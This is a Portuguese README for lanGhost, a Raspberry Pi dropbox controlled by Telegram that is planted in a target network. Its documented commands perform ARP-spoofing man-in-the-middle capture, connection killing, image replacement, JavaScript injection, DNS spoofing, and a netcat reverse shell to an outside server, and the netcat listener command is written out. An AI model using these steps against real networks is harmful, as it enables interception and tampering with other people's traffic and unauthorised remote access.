lanGhost

️ Aviso! Este projeto não é mais mantido e pode não funcionar conforme esperado.

Um chatbot LAN dropbox controlável via Telegram

características:

instalação:

aviso:

lanGhost foi projetado para Raspberry Pis ( Raspbian / Kali para RPi ). Executá-lo em outras distros/desktop pode causar problemas e pode não funcionar conforme esperado.

Você precisará de um Raspberry Pi com Raspbian/Kali novo no cartão SD, porque não quer mais nada rodando em segundo plano.

Inicialize o Pi, obtenha uma venda SSH ou conecte um monitor e um teclado e digite estes comandos:

 $ sudo apt update && sudo apt install python3 python3-pip
$ git clone https://github.com/xdavidhu/lanGhost
$ cd lanGhost
$ sudo ./setup.py

Por favor, leia as perguntas/mensagens enquanto executa o script de configuração!

etapa 1/4 - setup.py

 [+] Please enter the name of the network interface connected/will
be connected to the target LAN. Default wired interface is 'eth0',
and the default wireless interface is 'wlan0' on most systems, but
you can check it in a different terminal with the 'ifconfig' command.

etapa 2/4 - setup.py

 [+] Please create a Telegram API key by messaging @BotFather on Telegram
with the command '/newbot'.

After this, @BotFather will ask you to choose a name for your bot.
This can be anything you want.

Lastly, @BotFather will ask you for a username for your bot. You have
to choose a unique username here which ends with 'bot'. For
example: xdavidbot. Make note of this username, since later
you will have to search for this to find your bot, which lanGhost
will be running on.

After you send your username of choise to @BotFather, you will recieve
your API key.

etapa 3/4 - setup.py

 [+] Now for lanGhost to only allow access to you, you need to verify yourself.

Send the verification code below TO THE BOT you just created. Just search for your
bot's @username (what you sent to @BotFather) to find it.

[+] Verification code to send: ******

etapa 4/4 - setup.py

 [+] Do you want lanGhost to start on boot? This option is necessary if you are using
this device as a dropbox, because when you are going to drop this device into a
network, you will not have the chanse to start lanGhost remotely! (autostart works
by adding a new cron '@reboot' entry)

Se você estiver pronto com a configuração, basta reiniciar o Pi e o lanGhost será iniciado imediatamente!

uso:

avisos:

Usar lanGhost em redes maiores que /24 não é recomendado porque as varreduras demorarão muito.

lanGhost não está quieto . Qualquer pessoa monitorando o tráfego pode ver os pacotes ARP!

solte-o em uma rede:

Se você selecionou yes na step 4/4 (autostart) o Pi está totalmente configurado para ser descartado. O lanGhost deve inicializar na inicialização e enviar uma mensagem no Telegram com o texto: lanGhost started! ? .

Experimente primeiro em seu laboratório e teste se o lanGhost está respondendo às suas mensagens!

Se estiver tudo pronto, basta conectá-lo à rede de destino conectando o cabo Ethernet ao Pi e conectando a alimentação via micro USB e você está pronto para começar!

(lanGhost também pode funcionar via WiFi, mas primeiro você precisará configurar wpa_supplicant para se conectar à rede automaticamente)

comandos disponíveis:

 /scan - Scan LAN network
/scanip [TARGET-IP] - Scan a specific IP address.
/kill [TARGET-IP] - Stop the target's network connection.
/mitm [TARGET-IP] - Capture HTTP/DNS traffic from target.
/replaceimg [TARGET-IP] - Replace HTTP images requested by target.
/injectjs [TARGET-IP] [JS-FILE-URL] - Inject JavaScript into HTTP pages requested by target.
/spoofdns [TARGET-IP] [DOMAIN] [FAKE-IP] - Spoof DNS records for target.
/attacks - View currently running attacks.
/stop [ATTACK-ID] - Stop a currently running attack.
/restart - Restart lanGhost.
/reversesh [TARGET-IP] [PORT] - Create a netcat reverse shell to target.
/help - Display the help menu.
/ping - Pong.

sistema de ataque:

Você pode iniciar um ataque usando um destes comandos: /kill, /mitm, /replaceimg, /injectjs, /spoofdns

Depois de ter um ou mais ataques em execução, você pode usar o comando /attack para obter uma lista deles contendo os ATTACK-ID .

Para parar um ataque digite /stop [ATTACK-ID] .

concha reversa:

aviso:

/reversesh apenas faz uma conexão TCP netcat que não é criptografada e todo o tráfego pode ser monitorado! Use-o apenas para soluções de emergência ou para configurar uma conexão reversa criptografada, se necessário.

O comando /reversesh serve para obter um shell reverso no Pi, quando não estiver acessível externamente.

Para usar o comando /reversesh você precisará ter um servidor escutando o shell.

Comando Netcat para iniciar o ouvinte em seu servidor:

 $ nc -l 0.0.0.0 [PORT]

Comando do telegrama:

 /reversesh [IP-of-your-listening-server] [PORT]

ataques:

• /kill – Interrompe a conectividade com a Internet do alvo.
• /mitm – Captura o tráfego HTTP e DNS do alvo e o envia em mensagens de texto.
• /replaceimg - Substitui imagens HTTP do alvo pela imagem que você envia ao bot.
• /injectjs – Injeta JavaScript em cada resposta HTML HTTP para o destino. Você precisa hospedar o arquivo JS em seu servidor e fornecer a URL como parâmetro.
• /spoofdns - Falsifica respostas DNS para o alvo.

Todos os ataques usam ARP Spoofing !

verificações:

• /scan - Verifica a rede local e coloca os hosts online. Usa nmap -sn scan para descobrir hosts.
• /scanip - Verifica um endereço IP em busca de portas abertas e outras informações. Usa varredura nmap -sS .

notificações:

Você receberá uma mensagem sempre que um novo dispositivo se conectar/sair da rede.

isenção de responsabilidade:

Não sou responsável por nada que você faça com este programa, portanto, use-o apenas para fins bons e educacionais.

jurídico:

Copyright (c) 2018 de David Schütz. Alguns direitos reservados.

lanGhost está sob os termos da Licença MIT, seguindo todos os esclarecimentos constantes no arquivo de licença. Você também pode enviar um e-mail para xdavid{at}protonmail{dot}com.